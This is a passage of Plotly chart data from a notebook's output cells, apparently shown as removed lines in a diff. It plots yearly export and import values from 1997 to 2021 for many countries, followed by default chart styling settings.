"2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.53, - 5.37, - 11.26, - 11.39, - 12.86, - 16.18, - 12.22, - 22.04, - 31.79, - 36.94, - 42.56, - 51.59, - 55.2, - 82.75, - 103.43, - 108.86, - 125.7, - 140.91, - 175.01, - 224.98, - 196.92, - 215.81, - 213.32, - 209.06, - 233.27 - ] - }, - { - "mode": "lines", - "name": "DOMINICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.11, - 2.64, - 2.42, - 4.67, - 2.12, - 2.05, - 2.19, - 2.03, - 2.62, - 2.83, - 2.95, - 2.7, - 2.96, - 2.47, - 2.82, - 2.4, - 2.41, - 2.53, - 1.46, - 2.46, - 2.1, - 1.3, - 2.17, - 1.87, - 2.12 - ] - }, - { - "mode": "lines", - "name": "BULGARIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.04, - 9.25, - 7.35, - 11.54, - 7.68, - 11.12, - 25.22, - 24.76, - 24.07, - 40.38, - 71.12, - 73.69, - 50.89, - 69.71, - 108.77, - 156.98, - 168.1, - 266.45, - 145.53, - 239.53, - 173.24, - 212.43, - 158.9, - 170.35, - 169.82 - ] - }, - { - "mode": "lines", - "name": "BRUNEI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.26, - 3.26, - 1.3, - 3.31, - 2.86, - 4.45, - 4.59, - 5.06, - 42.94, - 8.31, - 10.43, - 17.64, - 24.44, - 23.07, - 895.49, - 40.02, - 32.45, - 41.99, - 28.45, - 42.88, - 63.19, - 56.19, - 57.62, - 62.91, - 29.34 - ] - }, - { - "mode": "lines", - "name": "BRAZIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 143.36, - 133.29, - 135.02, - 226.05, - 219.01, - 479.03, - 275.62, - 678.17, - 1090.61, - 1449.25, - 2525.9, - 2651.43, - 2414.29, - 4024.16, - 5769.75, - 6048.53, - 5552.47, - 5963.82, - 2650.34, - 2400.46, - 3063.49, - 3800.49, - 3967.39, - 4244.94, - 4798.9 - ] - }, - { - "mode": "lines", - "name": "BR VIRGN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.46, - 0.29, - 0.37, - 0.19, - 2.02, - 0.34, - 0.11, - 0.67, - 0.89, - 0.43, - 34.78, - 81.58, - 0.42, - 1.04, - 0.55, - 0.39, - 0.66, - 0.84, - 0.41, - 0.76, - 10.69, - 0.49, - 0.25, - 0.29 - ] - }, - { - "mode": "lines", - "name": "ALGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.06, - 24.6, - 14.36, - 21.04, - 29.43, - 66.78, - 122.15, - 231.22, - 271.39, - 335.04, - 377.17, - 653.08, - 574.19, - 781.94, - 835.65, - 1088.73, - 1069.53, - 1063.73, - 787.81, - 841.89, - 823.23, - 940.27, - 611.02, - 594.74, - 525.67 - ] - }, - { - "mode": "lines", - "name": "AMERI SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0.2, - 0.59, - 0.71, - 0.19, - 0.31, - 0.26, - 1.27, - 0.29, - 0.28, - 0.2, - 0.13, - 0.08, - 0.2, - 2.05, - 0.37, - 0.05, - 0.19, - 0.16, - 0.08, - 0.31, - 0.03, - 0.13, - 0.58, - 0.62 - ] - }, - { - "mode": "lines", - "name": "ANDORRA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.03, - 0.02, - 0.09, - 0.27, - 0.21, - 0.06, - 0.18, - 0.09, - 0.13, - 0.13, - 0.89, - 0.2, - 0.27, - 0.25, - 0.11, - 0.12, - 0.26, - 0.12, - 0.14, - 4.75, - 0.33, - 0.08, - 0.02, - 0.05 - ] - }, - { - "mode": "lines", - "name": "ANGOLA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.58, - 8.76, - 5.84, - 15.15, - 25.02, - 37.31, - 70.55, - 72.89, - 151.66, - 201.89, - 261.47, - 370.45, - 635.07, - 675.44, - 454.33, - 488.79, - 536.03, - 552.64, - 223.19, - 154.63, - 234.92, - 282.36, - 285.1, - 259.6, - 326.89 - ] - }, - { - "mode": "lines", - "name": "ANTIGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.52, - 0.05, - 0.29, - 0.18, - 0.12, - 0.25, - 4.55, - 1.05, - 1.13, - 1.4, - 1.87, - 2.98, - 1.45, - 0.94, - 0.87, - 1.36, - 2.19, - 2.07, - 2.56, - 1.97, - 2.17, - 2.71, - 2.19, - 1.62, - 1.71 - ] - }, - { - "mode": "lines", - "name": "ARGENTINA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 92.71, - 74, - 62.61, - 98.5, - 64.62, - 60.29, - 87.33, - 186.32, - 199.5, - 211.38, - 290.09, - 352.01, - 269.96, - 404.36, - 473.57, - 539.95, - 611.48, - 460.19, - 536.46, - 510.72, - 708.71, - 562.93, - 763.24, - 687.84, - 977.08 - ] - }, - { - "mode": "lines", - "name": "ARMENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.01, - 0.18, - 0.66, - 1.4, - 1.31, - 2.52, - 3.53, - 7.24, - 7.19, - 8.58, - 19.88, - 19.98, - 18.48, - 19.83, - 38.29, - 40.48, - 72.47, - 91.47, - 22.78, - 30.33, - 33.27, - 25.94, - 40.49, - 69.83, - 22.88 - ] - }, - { - "mode": "lines", - "name": "AUSTRALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 438.25, - 387.41, - 403.28, - 405.87, - 418.02, - 504.18, - 584.29, - 720.25, - 821.23, - 925.2, - 1152.4, - 1439.32, - 1384.96, - 1713.02, - 2476.84, - 2348.65, - 2300.28, - 2782.13, - 3262.98, - 2957.79, - 4012.32, - 3520.44, - 2852.14, - 4043.88, - 5644.16 - ] - }, - { - "mode": "lines", - "name": "AUSTRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 85.17, - 77.58, - 75.17, - 81.02, - 76.33, - 81.11, - 106.38, - 117.15, - 132.47, - 132.01, - 183.41, - 490.67, - 252.74, - 593.7, - 341.82, - 328.58, - 336.47, - 363.1, - 339.83, - 383.16, - 460.03, - 483.16, - 455.59, - 453.07, - 429.3 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 60.08, - 159.55, - 0.14, - 1.46, - 0.03, - 0.01, - 0, - 0.01, - 0, - 0, - 0.02, - 6.45, - 0.23, - 1.44, - 86.45, - 0.09 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "CAYMAN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 60.08, - 159.55, - 0.14, - 1.46, - 0.03, - 0.01, - 0, - 0.01, - 0, - 0, - 0.02, - 6.45, - 0.23, - 1.44, - 86.45, - 0.09 - ] - }, - { - "mode": "lines", - "name": "CHAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 1.88, - 3.44, - 1.56, - 0.07, - 0.17, - 0.98, - 3.89, - 6.92, - 0.57, - 40.92, - 157.16, - 11.26, - 62.78, - 320.88, - 169.36, - 149.47, - 476.13, - 270.75, - 50, - 2.79 - ] - }, - { - "mode": "lines", - "name": "CHILE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 72.06, - 56.29, - 85.49, - 57.14, - 94.79, - 167.31, - 156.73, - 345.57, - 434.5, - 1923.48, - 1837.21, - 1503.9, - 1119.38, - 1550.25, - 2133.27, - 2992.31, - 2507.87, - 3080.63, - 1960.67, - 1226.34, - 2092.15, - 1237.55, - 1175.67, - 670.6, - 1121.57 - ] - }, - { - "mode": "lines", - "name": "CHINA P RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1112.05, - 1096.71, - 1282.89, - 1502.2, - 2036.39, - 2792.04, - 4053.21, - 7097.98, - 10868.05, - 17475.03, - 27146.41, - 32497.02, - 30824.02, - 43479.76, - 55313.58, - 52248.33, - 51034.62, - 60413.17, - 61707.95, - 61283.03, - 76380.7, - 70319.64, - 65260.75, - 65212.25, - 67629.12 - ] - }, - { - "mode": "lines", - "name": "COMOROS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.25, - 0.04, - 0, - 1.15, - 0.9, - 0.32, - 0.48, - 0.15, - 3.88, - 7.03, - 2.06, - 0.33, - 0.68, - 8.56, - 2.96, - 8.02, - 6.59, - 11.3, - 15.1, - 25.65, - 37.27, - 32.39, - 19.65, - 12.48, - 11.18 - ] - }, - { - "mode": "lines", - "name": "EGYPT A RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 192.62, - 192.39, - 443.87, - 38.79, - 99.94, - 226.57, - 98.21, - 152.64, - 220.44, - 1739.74, - 1985.52, - 2121.33, - 1692.36, - 1354.56, - 3002.4, - 2553.47, - 2388.96, - 1741.77, - 1221.2, - 1163.77, - 1292.93, - 1677.82, - 2031.38, - 1892.4, - 2505.34 - ] - }, - { - "mode": "lines", - "name": "CONGO D. REP.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 32.1, - 6.53, - 0.18, - 0.28, - 0.12, - 0, - 0.09, - 2.54, - 14.21, - 16.97, - 13.83, - 117.06, - 144.71, - 9.82, - 0.91, - 0, - 47.29, - 126.45, - 97.76, - 85.92, - 225.42, - 19.01, - 32.13, - 10.16, - 13.13 - ] - }, - { - "mode": "lines", - "name": "CONGO P REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.33, - 6.74, - 0.97, - 8.48, - 1.8, - 3.25, - 5.28, - 21.97, - 43.94, - 59.94, - 104.51, - 487.28, - 545.2, - 543.33, - 257.48, - 454.72, - 89.53, - 365.52, - 201.64, - 156.52, - 198.81, - 405.65, - 587.5, - 245.94, - 758.03 - ] - }, - { - "mode": "lines", - "name": "COSTA RICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.34, - 1.49, - 0.88, - 0.88, - 1.27, - 5.29, - 25.61, - 35.47, - 37.86, - 43.93, - 88.01, - 73.05, - 93.62, - 95.33, - 204.16, - 219.72, - 203.99, - 155.3, - 62.21, - 58.83, - 67.28, - 50.56, - 48.71, - 47.25, - 48.23 - ] - }, - { - "mode": "lines", - "name": "COTE D' IVOIRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 51.64, - 38.1, - 97.48, - 123.1, - 76.35, - 86.03, - 99.77, - 160.09, - 193.92, - 179.39, - 198.5, - 321.63, - 298.17, - 250.84, - 466.33, - 384.23, - 298.4, - 532.1, - 572.48, - 455.81, - 441.7, - 603.05, - 454.88, - 317.51, - 287.22 - ] - }, - { - "mode": "lines", - "name": "CUBA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.76, - 3.73, - 4.59, - 5, - 3.79, - 3.64, - 1.85, - 1.73, - 3.32, - 1.11, - 14.54, - 1.3, - 1.05, - 1.12, - 3.99, - 3.95, - 2.4, - 1.57, - 1.33, - 1.31, - 2.06, - 3.8, - 3.53, - 69.44, - 1 - ] - }, - { - "mode": "lines", - "name": "CYPRUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.19, - 0.57, - 1.95, - 1.23, - 6.35, - 2.77, - 2.6, - 4.83, - 25.53, - 112.88, - 142.99, - 158.25, - 14.1, - 20.4, - 27.61, - 21.27, - 20.31, - 22.82, - 48.18, - 66.59, - 13.46, - 393.78, - 74.43, - 23.98, - 66.1 - ] - }, - { - "mode": "lines", - "name": "CZECH REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 42.33, - 44.13, - 39.45, - 36.41, - 38.63, - 85.48, - 111.84, - 175.34, - 260.38, - 353.71, - 447.73, - 491.87, - 562.45, - 676.78, - 